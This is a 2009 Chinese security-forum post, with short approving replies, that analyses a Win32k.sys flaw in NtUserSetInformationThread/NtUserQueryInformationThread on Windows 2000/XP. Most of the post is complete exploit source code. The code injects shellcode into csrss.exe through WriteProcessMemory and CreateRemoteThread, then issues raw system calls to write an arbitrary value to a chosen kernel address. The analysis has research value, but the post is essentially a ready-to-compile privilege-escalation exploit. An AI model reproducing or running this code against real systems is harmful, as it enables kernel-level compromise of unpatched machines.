首页
社区
课程
招聘
[原创]CsrssVuln.exe源代码及分析
发表于: 2009-3-31 12:36 8485

[原创]CsrssVuln.exe源代码及分析

2009-3-31 12:36
8485
这个漏洞是在Win32k.sys的代码中的NtUserQueryInformationThread中存在的

这两个函数从WINDOWS 2000开始,只判断调用者当前进程是否是CSRSS.EXE,不对传入的参数做验证,导致了漏洞的产生,攻击者只需要使用某种方式进入CSRSS的进程空间内,就可以触发这种漏洞

这个漏洞在Windows 2003,Vista被修补了,但WINDOWS 2000/XP的全补丁版本没有修补

具体我使用的触发方式是使用一个InformationClass:UserThreadFlags

这个InformationClass允许设置一个线程的W32Thread->TIF_Flags,我们可以使用NtUserSetInformationThread给某个线程设置指定数值的TIF_Flags,再调用NtUserQueryInformationThread,输出Buffer传入我们想要写入的地址,就可以将指定数值写入指定的内核地址中了
这个InformationClass实际是传入一个结构USERTHREAD_FLAGS
第一个域是要设置的NewFlags,第二个域是dwMask,需要将dwMask设为0xFFFFFFF,才能成功写入

其中这个线程必须是GUI线程,同时关闭时需要还原TIF_Flags,否则被设置的线程可能出一些问题

下面是源代码:
#include "shlwapi.h"
#include "malloc.h"
#include "tlhelp32.h"

#pragma  comment(lib , "shlwapi.lib")


DWORD
GetProcessId( LPCTSTR szProcName )
{
	PROCESSENTRY32 pe; 
	DWORD dwPid;
	DWORD dwRet;
	BOOL bFound = FALSE;

	HANDLE hSP = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
	if ( hSP )
	{
		pe.dwSize = sizeof( pe );
		
		for ( dwRet = Process32First( hSP, &pe );
		dwRet;
		dwRet = Process32Next( hSP, &pe ) )
		{
			if ( StrCmpNI( szProcName, pe.szExeFile, strlen( szProcName ) ) == 0 )
			{
				dwPid = pe.th32ProcessID;
				bFound = TRUE;
				break;
			}
		}
		
		CloseHandle( hSP );
		
		if ( bFound == TRUE )
		{
			return dwPid;
		}
	}
	
	return NULL;
}
BOOL EnableDebugPrivilege()
{
	HANDLE hToken;
	BOOL fOk=FALSE;
	if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))
	{
		TOKEN_PRIVILEGES tp;
		tp.PrivilegeCount=1;
		if(!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid))
			MessageBox(0 , "Can't lookup privilege value.\n" , 0 , 0);
		tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
		if(!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL))
			MessageBox(0 , "Can't adjust privilege value.\n", 0 , 0);
		fOk=(GetLastError()==ERROR_SUCCESS);
		CloseHandle(hToken);
	}
    return fOk;
}
typedef struct RWK_MEMORY{
	ULONG Addr ; 
	ULONG Value ; 
	BOOL  bOK ;
	ULONG ThreadId; 
}RWK_MEMORY , *PRWK_MEMORY;
#define _WIN32_WINNT 0x400
//
// ClientId
//

typedef struct _CLIENT_ID {
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID;
typedef CLIENT_ID *PCLIENT_ID;
typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    PVOID ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;        // Points to type SECURITY_DESCRIPTOR
    PVOID SecurityQualityOfService;  // Points to type SECURITY_QUALITY_OF_SERVICE
} OBJECT_ATTRIBUTES;
typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;
typedef CONST OBJECT_ATTRIBUTES *PCOBJECT_ATTRIBUTES;
#define InitializeObjectAttributes( p, n, a, r, s ) { \
    (p)->Length = sizeof( OBJECT_ATTRIBUTES );          \
    (p)->RootDirectory = r;                             \
    (p)->Attributes = a;                                \
    (p)->ObjectName = n;                                \
    (p)->SecurityDescriptor = s;                        \
    (p)->SecurityQualityOfService = NULL;               \
    }
#include "winbase.h"
void csrssshellthread(PRWK_MEMORY parm)
{
	//set TIF flags 
	//id of NtUserSetInformationThread = 520 + 4096 (XP)
	//id of NtUserQueryInformationThread = 479 + 0x1000(XP)
	//id of NtOpenThread = 128 (XP)
	CLIENT_ID ci ; 

	ci.UniqueProcess = 0 ;
	ci.UniqueThread = (HANDLE)parm->ThreadId ; 
	OBJECT_ATTRIBUTES oba ; 
	InitializeObjectAttributes(&oba , NULL , 0 , 0 , 0 );
	HANDLE threadhandle = 0;
	ULONG retlen ; 
	ULONG info[2];
	//0 = NewFlags

	info[0] = parm->Value ; 
	
	//1 = FlagsMask

	info[1] = 0xFFFFFFFF;

	ULONG oldFlags ;
	PVOID pInfo = info ; 
	ULONG addr = parm->Addr  ;

	__asm
	{
			
		lea	eax , ci
		push	eax
		lea	eax , oba
		push	eax
		push	0x60 
		//thread query /set information
		lea		eax , threadhandle
		push	eax
		mov     eax , 128
		//ntopenthread
		lea		edx ,[esp]
		int     0x2e
		add		esp , 4*4
//		call    openthread

		//call ntopenthread and get My gui thread handle

		test  eax , eax
		jl    failedx
		lea		eax ,retlen
		push	eax
		push	4
		lea		eax , oldFlags
		push	eax
		push	1
		//UserThreadFlags
		push	threadhandle
		mov     eax , 4575
		//NtUserQueryInformationThread
		lea		edx , [esp]
		int		0x2e
		add		esp , 5*4
		test    eax , eax
		jl		failedx
		//for save old flags

		//now we set thread flags
	
		push	8
		push	pInfo
		push	1
		//UserThreadFlags
		push	threadhandle
		mov     eax , 4616
		//NtUserSetInformationThread
		lea     edx, [esp]
		int		0x2e
		add     esp , 4*4
		test	eax , eax
		jl		failedx

		//now our thread flags is set to value
		//we query thread flags with kernel memory buffer
		//

		lea		eax ,retlen
		push	eax
		push	4
		push	addr
		push	1
		//UserThreadFlags
		push	threadhandle
		mov     eax , 4575
		//NtUserQueryInformationThread
		lea		edx , [esp]
		int		0x2e
		add		esp , 5*4
		test    eax , eax
		jl		failedx
		

		//write success!
//SET OLD FLAGS

		mov   eax , pInfo
		mov	  ecx , oldFlags
		mov   dword ptr[eax] ,ecx 
		
		push	8
		push	pInfo
		push	1
		//UserThreadFlags
		push	threadhandle
		mov     eax , 4616
		//NtUserSetInformationThread
		lea     edx, [esp]
		int		0x2e
		add     esp , 4*4
		
		//set OK flag
		mov   eax , parm
		mov   dword ptr[eax + 8 ] , 1
failedx:
		mov   eax , threadhandle
		test  eax , eax
		jz	noneedclose
		push	threadhandle
		mov		eax , 25
		//NtClose
		lea		edx ,[esp]
		int		0x2e
		add		esp , 0x4
noneedclose:

		
	}

	return ; 	
}
void __declspec(naked) nop_func()
{
	__asm{
		mov edx , edx
		retn 0
	}
}
void CCsrssVulnDlg::OnOK() 
{
	// TODO: Add extra validation here

		EnableDebugPrivilege();
		ULONG pid = GetProcessId("CSRSS.EXE");
		if (pid == 0 )
		{
			MessageBox("cannot get csrss.exe pid\n", 0,0);
			return ;
		}

		HANDLE hproc = OpenProcess(PROCESS_ALL_ACCESS , FALSE , pid);

		if (hproc == 0 )
		{
			CHAR msg [100];
			sprintf(msg ,"cannot open csrss! err = %u\n" , GetLastError() );
			MessageBox( msg , 0 , 0 );
			return ;
		}

		HMODULE hlib = LoadLibrary("ntdll.dll");
		PVOID pAddrAllocate = GetProcAddress(hlib , "ZwAllocateVirtualMemory");
		PVOID pAddrFree = GetProcAddress(hlib , "ZwFreeVirtualMemory");
		if (pAddrFree == 0 ||
			pAddrAllocate == 0 )
		{
			MessageBox("cannot get addr of Zw allocate/free memory routine!\n", 0 , 0 );
			CloseHandle(hproc);
			return  ;

		}
		ULONG Protect = PAGE_EXECUTE_READWRITE;
		ULONG AllocationType = MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN;
		ULONG RegionSize = (ULONG)nop_func - (ULONG)csrssshellthread + sizeof(RWK_MEMORY);
		ULONG BaseAddr = 0 ;
		LONG  retvalue ; 
		__asm
		{
			push	Protect
			push	AllocationType
			lea		eax , RegionSize
			push	eax
			push	0
			lea		eax , BaseAddr
			push	eax
			push	hproc
			call	pAddrAllocate
			mov		retvalue , eax
		}
		if (retvalue < 0 )
		{
			CHAR msg[100];
			
			sprintf(msg , "ZwAllocateMemory failed! stat = %08x\n" , retvalue);
			MessageBox(msg , 0 , 0 );

			CloseHandle(hproc);
			return  ;
		}

		DWORD btw ; 
		RWK_MEMORY xxmemory ; 
		HANDLE hRemoteThread ;
		ULONG ThreadId;
		xxmemory.Addr= 0x804d8002 ; 
		xxmemory.Value = 0x12345678 ;
		xxmemory.bOK = FALSE ; 
		xxmemory.ThreadId = GetCurrentThreadId();
 
		PVOID pBuffer = malloc((ULONG)nop_func - (ULONG)csrssshellthread + sizeof(RWK_MEMORY));
		if (pBuffer == 0 )
		{
			MessageBox("allocate memory failed \n", 0 , 0);
			goto end ; 
		}

		CopyMemory(pBuffer , (PVOID)csrssshellthread , (ULONG)nop_func - (ULONG)csrssshellthread);
		CopyMemory((PVOID)((ULONG)pBuffer + (ULONG)nop_func - (ULONG)csrssshellthread) ,
			&xxmemory , 
			sizeof(RWK_MEMORY)
			);


		if (!WriteProcessMemory(hproc , 
			(PVOID)BaseAddr , 
			pBuffer ,
			(ULONG)nop_func - (ULONG)csrssshellthread + sizeof(RWK_MEMORY) , 
			&btw))
		{
			CHAR msg[100];
			sprintf(msg,"Write process memory failed err = %u\n" , GetLastError());
			MessageBox(msg , 0 , 0 );
			goto end ;	
		}

		hRemoteThread = CreateRemoteThread(hproc ,
			NULL ,  
			0 , 
			(LPTHREAD_START_ROUTINE)BaseAddr , 
			(PVOID)((ULONG)BaseAddr + (ULONG)nop_func - (ULONG)csrssshellthread),
			0,
			&ThreadId);


		if (hRemoteThread == 0 )
		{
			CHAR msg[100];
			sprintf(msg , "cannot create remote thread in csrss! err = %u\n" , GetLastError());
			MessageBox(msg , 0 , 0);
			goto end ;
		}

		WaitForSingleObject(hRemoteThread , INFINITE);



		if (!ReadProcessMemory(hproc ,
			(PVOID)((ULONG)BaseAddr + (ULONG)nop_func - (ULONG)csrssshellthread),
			&xxmemory , 
			sizeof(xxmemory) , 
			&btw))
		{
			MessageBox("shell code inject OK but cannot get status !\n" , 0 , 0 );
			goto end ; 
		}


		if (xxmemory.bOK == FALSE)
		{
			
			MessageBox("Write Kernel Memory failed!\n", 0 , 0);
		}
		else
		{
			MessageBox("Write Kernel Memory OK!\n", 0 , 0);
		}
		
end:
		ULONG freeType = MEM_DECOMMIT;
		RegionSize = (ULONG)nop_func - (ULONG)csrssshellthread + sizeof(RWK_MEMORY);
		__asm
		{
			push	freeType
			lea		eax,RegionSize
			push	eax
			push	BaseAddr
			push	hproc
			call	pAddrFree
		}
		CloseHandle(hproc);
		if (pBuffer)
			free(pBuffer);

		return  ;
	
}

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 7
支持
分享
最新回复 (7)
雪    币: 364
活跃值: (152)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
2
哈,沙发学习啊~~~~原创来了,我那篇写重了(不是说不放code么……)
还是Mj前辈讲解详细
2009-3-31 12:38
0
雪    币: 193
活跃值: (26)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
3
吸取完毕!到底MJ还是王小姐啊  搞糊涂了
2009-3-31 12:46
0
雪    币: 152
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
又是MJ又是王小姐

继续膜拜王小姐
2009-3-31 13:22
0
雪    币: 471
活跃值: (3703)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
5
感谢楼主的分析和分享
2009-4-3 21:11
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
mj是cso,王小姐是hr``
2009-4-4 15:57
0
雪    币: 212
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
学习一下,收藏了~
2009-4-4 16:06
0
雪    币: 220
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
土了,cso是啥玩艺
2009-4-4 17:49
0
游客
登录 | 注册 方可回帖
返回
//